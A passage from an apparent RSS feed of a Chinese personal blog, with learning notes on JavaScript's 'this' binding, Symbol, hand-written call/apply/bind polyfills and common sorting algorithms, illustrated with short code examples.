&lt;p&gt;最后发朋友圈粗略总结本周的时候才发现月份显示出现 off-by-one 错误，草。。。&lt;s&gt;看来还是赶工的锅&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;这次课设对于我来说，最大的意义，就是通过一次 electron 桌面软件开发，了解到了目前 JS 生态下的一些工具和框架，并体验了一次通过现有框架来来进行的软件开发：使用框架提供的 API 和配套工具，需要耐心去读官方所提供的文档，遇到了坑之后应当去 Google 一下或者 StackOverflow 查查，或者去看对应的 issues。&lt;/p&gt;
</content:encoded><category>笔记</category></item><item><title>JavaScript之What is this</title><link>https://situ2001.com/blog/javascript/this/</link><guid isPermaLink="true">https://situ2001.com/blog/javascript/this/</guid><description>JavaScript之What is this</description><pubDate>Sun, 11 Jul 2021 03:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;想必JSer们都碰到过关于this的问题吧？&lt;/p&gt;
&lt;p&gt;&lt;s&gt;更新于高数大物考前一天&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;this&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;A property of an execution context (global, function or eval) that, in non–strict mode, is always a reference to an object and in strict mode can be any value.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;即是此时执行上下文(Execution context)的一个property，在严格模式下，可以是任何值，非严格模式下，它的值总是特定一个object&lt;/p&gt;
&lt;h2&gt;函数调用&lt;/h2&gt;
&lt;p&gt;在js里头，一般来说，函数调用方式有下面几种，前两个很常见，分别为函数调用和方法调用。而最后一个是用&lt;code&gt;Function.prototype.call&lt;/code&gt;调用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func(114514);
obj.func(114514);
func.call(obj, [114514]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中对于第三种的这个方法，其syntax如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func.call([thisArg[, arg1, arg2, ...argN]])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;thisArg在第一个位置，其实对于函数里头的this，MDN如是说&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In most cases, the value of this is determined by how a function is called (runtime binding). It can&apos;t be set by assignment during execution, and it may be different each time the function is called.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也就是说我们可以把&lt;code&gt;this&lt;/code&gt;当成：某时某刻，这个函数是&lt;strong&gt;由谁&lt;/strong&gt;调用执行的。this其实是当前执行该函数的对象。在&lt;code&gt;call()&lt;/code&gt;方法里头，函数里的&lt;code&gt;thisArg&lt;/code&gt;就会是指定为传进去的&lt;code&gt;this&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;在nodejs的环境下，上面的两种调用方式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func(114514);
obj.func(114514);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;转化为&lt;code&gt;call()&lt;/code&gt;，就会是如下代码所示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func.call(undefined, [114514]);
func.call(obj, [114514]);
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注: 而在浏览器里的话，第一个函数调用：非strict mode下就会是&lt;code&gt;window&lt;/code&gt;，而strict mode下就是&lt;code&gt;undefined&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;// non-strict mode
func.call(window, [114514]);
func.call(obj, [114514]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面说完了，那么，&lt;code&gt;this&lt;/code&gt;真的就是一个对象吗？我们可以打印出来看看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const obj = {
    s: 2,
    i: 0,
    t: 0,
    u: 1
};

let func = function () {
    console.log(this);
};

func.call(obj); // { s: 2, i: 0, t: 0, u: 1 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;感觉说了一点啰嗦的东西...&lt;/p&gt;
&lt;p&gt;大白话时间（水平不足）：在js里头，函数是一等公民，函数就是一个值，可以赋给其他变量。&lt;/p&gt;
&lt;p&gt;但一个函数在哪里声明定义（箭头函数除外），不是最重要的。&lt;/p&gt;
&lt;p&gt;对于函数里头&lt;code&gt;this&lt;/code&gt;的值，最重要的是：这个函数是谁调用的(或被绑定)。&lt;/p&gt;
&lt;p&gt;于是乎，如果碰到有this的情况，我们可以做一点稍微啰嗦的转化。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// foo is an object
foo.bar(114514);
// is equivalent to
foo.bar.call(foo, [114514]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;非常容易看到，此时的函数&lt;code&gt;bar&lt;/code&gt;里面的&lt;code&gt;this&lt;/code&gt;，就是&lt;code&gt;foo&lt;/code&gt;。那么此时把里头的&lt;code&gt;this&lt;/code&gt;都看成这个&lt;code&gt;bar&lt;/code&gt;对象，不就EZ很多了吗？&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;总结时间（三个月后...）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;普通函数如&lt;code&gt;func()&lt;/code&gt;调用可以看作是&lt;code&gt;func.call(window, [...args])&lt;/code&gt;或者&lt;code&gt;func.call(undefined, [...args])&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;对象方法如&lt;code&gt;obj.func()&lt;/code&gt;调用可以看做是&lt;code&gt;func.call(obj, [...args])&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;指定函数的&lt;code&gt;this&lt;/code&gt;可以使用&lt;code&gt;Function.prototype.call&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;this绑定&lt;/h2&gt;
&lt;p&gt;其实还有&lt;code&gt;Function.prototype.bind&lt;/code&gt;这个方法，它是用于绑定&lt;code&gt;this&lt;/code&gt;的，返回的是一个&lt;strong&gt;绑定了&lt;/strong&gt;&lt;code&gt;this&lt;/code&gt;的函数。注意，这个函数的第一个参数也是&lt;code&gt;thisArg&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;比如说&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const obj = {
    s: 2,
    i: 0,
    t: 0,
    u: 1
};

let func = function () {
    console.log(Object.keys(this));
};

const foo = {
    dssq: 114514,
    fn: func.bind(obj) // a function that binds its this with obj.
};

foo.fn(); // [ &apos;s&apos;, &apos;i&apos;, &apos;t&apos;, &apos;u&apos; ]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;箭头函数&lt;/h2&gt;
&lt;p&gt;由于箭头函数没有属于自己的&lt;code&gt;this&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那么在箭头函数里头为什么可以有&lt;code&gt;this&lt;/code&gt;呢？？&lt;/p&gt;
&lt;p&gt;原因是，这个&lt;code&gt;this&lt;/code&gt;，是循着作用域链，从外部的作用域里capture进来(就是你定义这个箭头函数的地方)的，&lt;/p&gt;
&lt;p&gt;可以理解为静态不变的&lt;code&gt;this&lt;/code&gt;，在编译的时候已经被确定下来了（词法作用域）。&lt;/p&gt;
&lt;p&gt;比如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let test = function () {
    this.x = 114514;

    setTimeout(function () {
        console.log(this.x);
    }, 1000);
    
    setTimeout(() =&amp;gt; {
        console.log(this.x);
    }, 1500);
};

let t = new test();
// undefined
// 114514
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再举一个例子以说明这个&lt;code&gt;this&lt;/code&gt;到底怎么来的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const foo = function () {
    // Whatever `this` is here...
    var chopper = {
        name: &apos;Gogo&apos;,
        getName1: () =&amp;gt; {
            return this.name;    // ...is what `this` is here.
        },
        getName2: function () {
            return this.name;
        }
    };

    console.log(chopper.getName1());
    console.log(chopper.getName2());
}

const obj = {
    name: &apos;Tony&apos;
};

foo.call(obj);
// Tony
// Gogo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;又比如下面这个，输出分别为3和1&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let foo = function (config) {
    for (const v of config) {
        if (typeof v === &apos;function&apos;) {
            v.call({value: 3});
        }
    }
};

let f = function () {
    // Whatever `this` is here...
    let value = 2;
    foo({
        data: {
            value: 0
        },
        foo: function () {
            console.log(this.value);
        },
        bar: () =&amp;gt; console.log(this.value), // ...is what `this` is here.
        *[Symbol.iterator] () {
            for (const k of Object.keys(this)) {
                yield this[k];
            }
        }
    });
};

f.call({value: 1});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Constructor&lt;/h2&gt;
&lt;p&gt;这里有一个constructor pattern的函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let Foo = function () {
    this.x = 114;
    this.y = 514;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果我们要用函数创建一个新对象，可以这样做&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Create a new object using function Foo
Foo foo = new Foo();
// Then print its properties
console.log(foo.x, foo.y); // 114 514
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那为什么，在调用&lt;code&gt;new Foo()&lt;/code&gt;之后，可以得到一个对象，且其带有&lt;code&gt;x&lt;/code&gt;和&lt;code&gt;y&lt;/code&gt;这两个property？&lt;/p&gt;
&lt;p&gt;其实，在了解了&lt;code&gt;this&lt;/code&gt;之后，我们可以这样看待&lt;code&gt;new&lt;/code&gt;运算符，其实new运算符是分了几步的，很简陋的一个实现如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let bar = Object.create(Foo.prototype); // bar = {}
foo.apply(bar); // bar = { x: 114, y: 514 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是先把&lt;code&gt;Foo.prototype&lt;/code&gt;对象作为原型对象，创建一个新对象bar。然后以对象&lt;code&gt;bar&lt;/code&gt;，作为foo函数的&lt;code&gt;this&lt;/code&gt;，调用foo函数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Now the property `this` is bar;
this.x = 114; // is bar.x = 114
this.y = 514; // is bar.y = 514
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时的property就自然而然被加上咯。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;一句话总结&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;JS里头的对象的创建大致流程了解了，后面的ES6 &lt;code&gt;class&lt;/code&gt;这些语法糖就没有什么问题了，因为class本质上还是基于这一套基于原型的OO&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;s&gt;其实实际代码，用ES6 class就行了&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;写在后面&lt;/h2&gt;
&lt;p&gt;令人头晕的&lt;code&gt;this&lt;/code&gt;，好像也就这样了（感觉要比C晕针症状严重）？&lt;/p&gt;
&lt;p&gt;其实我觉得理解到一些实质，就稳很多了。&lt;/p&gt;
</content:encoded><category>JavaScript</category></item><item><title>JavaScript之symbol</title><link>https://situ2001.com/blog/javascript/symbol/</link><guid isPermaLink="true">https://situ2001.com/blog/javascript/symbol/</guid><description>JavaScript之symbol</description><pubDate>Wed, 16 Jun 2021 11:10:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;(笔记向)新加进来的(ES6)，是第几个primitive来着？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Symbol is a primitive type for unique identifiers.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;期末复习周快到了，我还是想记录一下之前所了解的JS primitive -- symbol。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;简单地说一下：symbol的中文意思就是“标志，符号”嘛，我们就可以用标志这个含义来了解——独一无二的标志，给独一无二的property（误）&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;我们看了看MDN的原生对象&lt;code&gt;Symbol&lt;/code&gt;的简介，它如是说&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Symbol is a built-in object whose constructor returns a symbol primitive — also called a Symbol value or just a Symbol — that’s guaranteed to be unique.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也就是说，一个symbol，有特殊的值，你几乎找不到另一个值与该symbol相等的symbol。(很像Hash&lt;/p&gt;
&lt;p&gt;利用这个特性，我们可以做一点操作。&lt;/p&gt;
&lt;h2&gt;Initialize a symbol&lt;/h2&gt;
&lt;p&gt;两种方法，前者是直接新建一个symbol，后者会返回一个在&lt;strong&gt;global registry&lt;/strong&gt;上的symbol。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Symbol(description: string)&lt;/code&gt; 和 &lt;code&gt;Symbol.for(description: string)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;description可选，主要是调试用：&lt;code&gt;Symbol.prototype.description&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Unique&lt;/h2&gt;
&lt;p&gt;唯一性是怎么样的？跑跑代码不就知道了？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let s1 = Symbol()
let s2 = Symbol()
s1 === s2 // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过要注意在全局注册表里头的symbol&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let s3 = Symbol.for(&quot;114514&quot;)
let s4 = Symbol.for(&quot;114514&quot;)
s3 === s4 // true
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Basic usage&lt;/h2&gt;
&lt;p&gt;使用很简单，只需要新建symbol，然后作为一个对象的key就行了，retrieve的时候也是跟常规操作一样。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const obj = {};
const s1 = Symbol();
obj[s1] = 114514;
console.log(obj[s1]); // 114514
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过要记住！万一失去了特定Symbol的引用，你就无法访问该key的value了。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;&lt;code&gt;Object.getOwnPropertySymbols&lt;/code&gt;帮你忙&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;Private property&lt;/h2&gt;
&lt;p&gt;虽然现在的ES也有私有成员的定义方法，在标识符前面加一个#就行了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Foo {
    #val = 114514;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是，symbol也可以用来做私有变量，并且也不会被for in循环弄出来。TM的，JS真的是太灵活了，草&lt;/p&gt;
&lt;p&gt;首先回忆一下前面所说的，我们要把一个symbol作为一个property的key，并且要保持这个symbol不丢失，且不会被外界访问到。&lt;/p&gt;
&lt;p&gt;...emm...&lt;/p&gt;
&lt;p&gt;闭包！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const Foo = (function() {
    const name_ = Symbol(&quot;name&quot;);
    class Foo {
        constructor(name) {
            this[name_] = name;
        }
        greet() {
            console.log(this[name_]);
        }
    }
    return Foo;
})();

const o = new Foo(&quot;situ2001&quot;);
o.greet(); // situ2001
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;System symbol&lt;/h2&gt;
&lt;p&gt;同时，JS也把一些内部的属性通过symbol给暴露了出来。&lt;/p&gt;
&lt;h3&gt;Symbol.iterator&lt;/h3&gt;
&lt;p&gt;比如&lt;code&gt;Symbol.iterator&lt;/code&gt;，我们可以挂一个生成器上去，这样的话，迭代这个对象（包括&lt;code&gt;...&lt;/code&gt; &lt;code&gt;for.. of ..&lt;/code&gt;）就会使用这个生成器。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Foo {
    *[Symbol.iterator]() {
        yield 114514;
        yield 1919810;
    }
}

const obj = new Foo();
console.log([...obj]); // [114514, 1919810]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Symbol.species&lt;/h3&gt;
&lt;p&gt;又比如&lt;code&gt;Symbol.species&lt;/code&gt;，我们可以把一个对象的constructor给换掉。&lt;/p&gt;
&lt;p&gt;用途是什么呢？比如说你新建了一个继承了Array的类MyArray，但是你想让一个MyArray对象使用了如&lt;code&gt;map()&lt;/code&gt;方法之后，返回一个Array对象，而不是MyArray。就可以自行实现这个&lt;code&gt;Symbol.species&lt;/code&gt;属性了。(应该是把返回的对象的constructor改为了Array，如下代码的MyArray.prototype也就访问不到了)&lt;/p&gt;
&lt;p&gt;这个属性是用来给自己的对象方法用以创建派生对象，即运行时对象若再次调用自己的构造函数来新建对象，那么就会涉及到&lt;code&gt;Symbol.species&lt;/code&gt;。一些容器的方法会用到这个getter，比如&lt;code&gt;Array.prototype.map&lt;/code&gt;（Array的话，还有slice, splice, filter, flat, flatMap, concat)。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class MyArray extends Array {
    constructor(...nums) {
        super(...nums);
    }

    static get [Symbol.species]() {
        return Array;
    }

    greet() {
        console.log(&quot;Hello&quot;);
    }
}

const arr = new MyArray(1, 1, 4, 5, 1 ,4);
const arr1 = arr.map(x =&amp;gt; x + 1);

console.log(arr.constructor); // [class MyArray extends Array]
console.log(arr1.constructor); // [Function: Array]

arr.greet(); // Hello
// arr1.greet(); // Error!

console.log(arr1 instanceof Array); // true
console.log(arr1 instanceof MyArray); // false
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Symbol.hasInstance&lt;/h3&gt;
&lt;p&gt;要改变运算符&lt;code&gt;instanceof&lt;/code&gt;对某一个类的行为(本来是顺着原型链一路上去上constructor的)，我们自己定义一个静态函数，用&lt;code&gt;Symbol.hasInstance&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Foo {
    static [Symbol.hasInstance](obj) {
        return Array.isArray(obj);
    }
}

console.log([] instanceof Foo); // true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Symbol.toPrimitive&lt;/h3&gt;
&lt;p&gt;再比如&lt;code&gt;Symbol.toPrimitive&lt;/code&gt;，可以在做强制类型转换的比较的时候起到作用（不建议&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Foo {
    [Symbol.toPrimitive](hint) {
        switch (hint) {
            case &quot;number&quot;: return 114514;
            case &quot;string&quot;: return &quot;dssq&quot;;
            case &quot;default&quot;: return &quot;FOO&quot;;
        }
    }
}

const o = new Foo();
console.log(0 - o); // -114514
console.log(`${o}`); // dssq
console.log(o == &quot;FOO&quot;); // true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Symbol.toStringTag&lt;/h3&gt;
&lt;p&gt;又如&lt;code&gt;Symbol.toStringTag&lt;/code&gt;，直接打印的Object的时候，description就是由这个getter来实现的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Foo {
    get [Symbol.toStringTag]() {
        return &quot;MyFoo&quot;;
    }
}

const obj = new Foo();
console.log(obj); // Foo [MyFoo] {}
console.log(Object.prototype.toString.call(obj)); // [object MyFoo]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有一些其他的，就不一一列举了。&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;真的。。。JS真的是强大。。。（感觉更多的是有意义的繁杂&lt;/p&gt;
&lt;p&gt;（一句话总结，逃&lt;/p&gt;
</content:encoded><category>JavaScript</category></item><item><title>模拟实现 Function.prototype</title><link>https://situ2001.com/blog/javascript/function-prototype-polyfill/</link><guid isPermaLink="true">https://situ2001.com/blog/javascript/function-prototype-polyfill/</guid><description>模拟实现 Function 的原型对象</description><pubDate>Mon, 31 May 2021 09:15:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;模拟实现 call, apply 和 bind&lt;/p&gt;
&lt;p&gt;唉，广州疫情又开始有苗头了，待在室内写博客比干啥都好。&lt;/p&gt;
&lt;h2&gt;Function.prototype.call&lt;/h2&gt;
&lt;p&gt;首先先看一下这个函数的syntax是怎么样的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;call()
call(thisArg)
call(thisArg, arg1)
call(thisArg, arg1, arg2)
call(thisArg, arg1, ... , argN)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么自己实现的函数，第一个参数就是&lt;code&gt;thisArg&lt;/code&gt;，其余的参数就用可变参数来接收&lt;/p&gt;
&lt;p&gt;由于这个函数在&lt;code&gt;Function.prototype&lt;/code&gt;上，因此这个函数里头的&lt;code&gt;this&lt;/code&gt;只能是一个&lt;code&gt;Function&lt;/code&gt;或者是&lt;code&gt;Function.prototype&lt;/code&gt;。但是直接用后者调用是不被允许的（这种做法是直接调用了对象方法）。因此要加个判断。&lt;/p&gt;
&lt;p&gt;接着，就是做些什么，使得被调用的函数的&lt;code&gt;this&lt;/code&gt;是传入的&lt;code&gt;ctx&lt;/code&gt;本身。不难想出，比如&lt;code&gt;obj.fn()&lt;/code&gt;这样调用时候，&lt;code&gt;fn&lt;/code&gt;里头的&lt;code&gt;this&lt;/code&gt;就会是&lt;code&gt;obj&lt;/code&gt;了。&lt;/p&gt;
&lt;p&gt;但是万一&lt;code&gt;ctx&lt;/code&gt;有许许多多的properties而产生重名冲突了呢？&lt;/p&gt;
&lt;p&gt;此时ES6的&lt;code&gt;Symbol&lt;/code&gt;就闪亮登场，它可以帮我们创建一个不会重名的属性，值会存在&lt;code&gt;Symbol&lt;/code&gt;里头，如下代码这样加进去。当然用完之后记得删除。&lt;/p&gt;
&lt;p&gt;还要注意，这个函数的&lt;code&gt;ctx&lt;/code&gt;如果为&lt;code&gt;undefined&lt;/code&gt;，那么就会是&lt;code&gt;globalThis&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Function.prototype.call_ = function(ctx = window, ...args) {
    if (this === Function.prototype) {
        return undefined;
    }

    const f = Symbol();
    ctx[f] = this;
    const result = ctx[f](...args);
    delete ctx[f];

    return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;测试一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let f = function(num = 1) {
    console.log(this.x + num);
}

const obj = {
    x: 114510,
};

f.call_(obj, 4); // 114514;
Function.prototype.call_(obj, 4); // undefined
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Function.prototype.apply&lt;/h2&gt;
&lt;p&gt;跟上者类似除了接受的是参数数组。只需要改一下就行，记得判断是否为数组。还需要注意&lt;code&gt;argsArray&lt;/code&gt;为可选参数，记得处理。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Function.prototype.apply_ = function(ctx = window, argsArray) {
    if (this === Function.prototype) {
        return undefined;
    }

    const f = Symbol();
    ctx[f] = this;
    
    let result;
    if (Array.isArray(argsArray)) {
        result = ctx[f](...argsArray);
    } else if (argsArray === undefined) {
        result = ctx[f]();
    }
    else {
        throw TypeError(&quot;The args passed in is not an array&quot;);
    }

    delete ctx[f];

    return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;测试一下（接上面的测试代码）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;f.apply_(obj, [4]); // 114514
f.apply_(obj); // 114511
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Function.prototype.bind&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Function.prototype.bind&lt;/code&gt;的作用是返回一个绑定了&lt;code&gt;this&lt;/code&gt;的函数。&lt;/p&gt;
&lt;p&gt;先看看syntax，依旧采用可变参数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bind(thisArg)
bind(thisArg, arg1)
bind(thisArg, arg1, arg2)
bind(thisArg, arg1, ... , argN)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大致思路是：先把当前的函数缓存下来。然后返回一个与缓存下来的函数形成闭包的函数。注意参数的处理。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;我认为这里不需要做&lt;code&gt;this&lt;/code&gt;的判断&lt;/s&gt;（中伏啦，要是invoke as a constructor怎么办&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Function.prototype.bind_ = function(ctx, ...args) {
    if (this instanceof Function.prototype.bind_) {
        throw &quot;Can not invoke this as a constructor&quot;;
    }
    const this_ = this;
    return function fn(...args1) {
        if (this instanceof fn) {
            return new this_(...args, ...args1);
        } else {
            if (ctx === null || ctx === undefined) {
                this_(...args, ...args1);
            } else {
                this_.call(ctx, ...args, ...args1);
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;chrome下测试（接上面的测试代码）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let myFn = f.bind_(); // window
let myFn1 = f.bind_(obj);

this.x = 110;

myFn(4); // 114
myFn1(4); // 114514
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>JavaScript</category></item><item><title>常见的排序算法</title><link>https://situ2001.com/blog/dsa/sorting/</link><guid isPermaLink="true">https://situ2001.com/blog/dsa/sorting/</guid><description>常见的排序算法</description><pubDate>Wed, 12 May 2021 07:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;萌新接触排序算法--JS &amp;amp; Java实现&lt;/p&gt;
&lt;p&gt;写在前面: 下面的排序都对整形类型的数组进行排序，并且为升序(ascending)排序&lt;/p&gt;
&lt;h2&gt;选择排序&lt;/h2&gt;
&lt;p&gt;先确定一个位置上的数，接着处理后续位置的元素。即在n个元素的数组中，找出n个元素的最大值或最小是，排到第1个元素位置上，然后屏蔽第1个元素，从第2个元素起，找出剩下n-1个元素的最大值，排在第2个元素的位置上面...以此类推&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function selectionSort(nums) {
    for (let i = 0; i &amp;lt; nums.length - 1; i++) {
        let currentMin = nums[i];
        let currentMinIndex = i;

        for (let j = i + 1; j &amp;lt; nums.length; j++) {
            if (nums[j] &amp;lt; currentMin) {
                currentMin = nums[j];
                currentMinIndex = j;
            }
        }

        if (currentMinIndex !== i) {
            // swap
            nums[currentMinIndex] = nums[i];
            nums[i] = currentMin;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;插入排序&lt;/h2&gt;
&lt;p&gt;数组分为了排序好了的部分(前)和未排序的部分(后)，从未排序部分中取出一个元素，逐一与排序好了的部分的元素进行比较，以插入该部分中去。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function insertionSort(nums) {
    for (let i = 1; i &amp;lt; nums.length; i++) {
        let k = i - 1;
        let current = nums[i];
        while (k &amp;gt;= 0 &amp;amp;&amp;amp; nums[k] &amp;gt; current) {
            nums[k + 1] = nums[k];
            k--;
        }
        nums[k + 1] = current;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;希尔排序&lt;/h2&gt;
&lt;p&gt;(待更)&lt;/p&gt;
&lt;h2&gt;冒泡排序&lt;/h2&gt;
&lt;p&gt;可以把数组想象为横着的水池，数组的相邻元素进行两两比较，里面较大或较小的元素就会慢慢地“浮”到最右边或最左边&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;不过，我们可以考虑一下，不与排好了的部分进行比较&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function bubbleSort(nums) {
    for (let k = 1; k &amp;lt; nums.length; k++) {
        for (let i = 0; i &amp;lt; nums.length - k; i++) {
            if (nums[i] &amp;gt; nums[i +1]) {
                const tmp = nums[i];
                nums[i] = nums[i + 1];
                nums[i + 1] = tmp;
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且还加入一个boolean进行判断整个数组是否已经排序完毕&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function bubbleSort(nums) {
    let needNextPass = true;
    for (let k = 1; k &amp;lt; nums.length &amp;amp;&amp;amp; needNextPass; k++) {
        needNextPass = false;
        for (let i = 0; i &amp;lt; nums.length - k; i++) {
            if (nums[i] &amp;gt; nums[i +1]) {
                const tmp = nums[i];
                nums[i] = nums[i + 1];
                nums[i + 1] = tmp;
                needNextPass = true;
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;归并排序&lt;/h2&gt;
&lt;p&gt;这个排序涉及到分治(Divide-and-Conquer即分而治之)的方法。将数组进行分割然后进行排序，之后将排序的结果一个一个地合并起来&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;代码实现如下，使用递归，将数组分开与合并&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function mergeSort(nums) {
    if (nums.length &amp;gt; 1) {
        const firstHalf = nums.slice(0, nums.length / 2);
        mergeSort(firstHalf);

        const secondHalf = nums.slice(nums.length / 2);
        mergeSort(secondHalf);

        merge(firstHalf, secondHalf, nums);
    }
}

// merge two sorted arrays
function merge(nums1, nums2, tmp) {
    let current1 = 0;
    let current2 = 0;
    let current3 = 0;

    while (current1 &amp;lt; nums1.length &amp;amp;&amp;amp; current2 &amp;lt; nums2.length) {
        if (nums1[current1] &amp;lt; nums2[current2]) {
            tmp[current3++] = nums1[current1++];
        } else {
            tmp[current3++] = nums2[current2++];
        }
    }

    while (current1 &amp;lt; nums1.length) {
        tmp[current3++] = nums1[current1++];
    }

    while (current2 &amp;lt; nums2.length) {
        tmp[current3++] = nums2[current2++];
    }
}
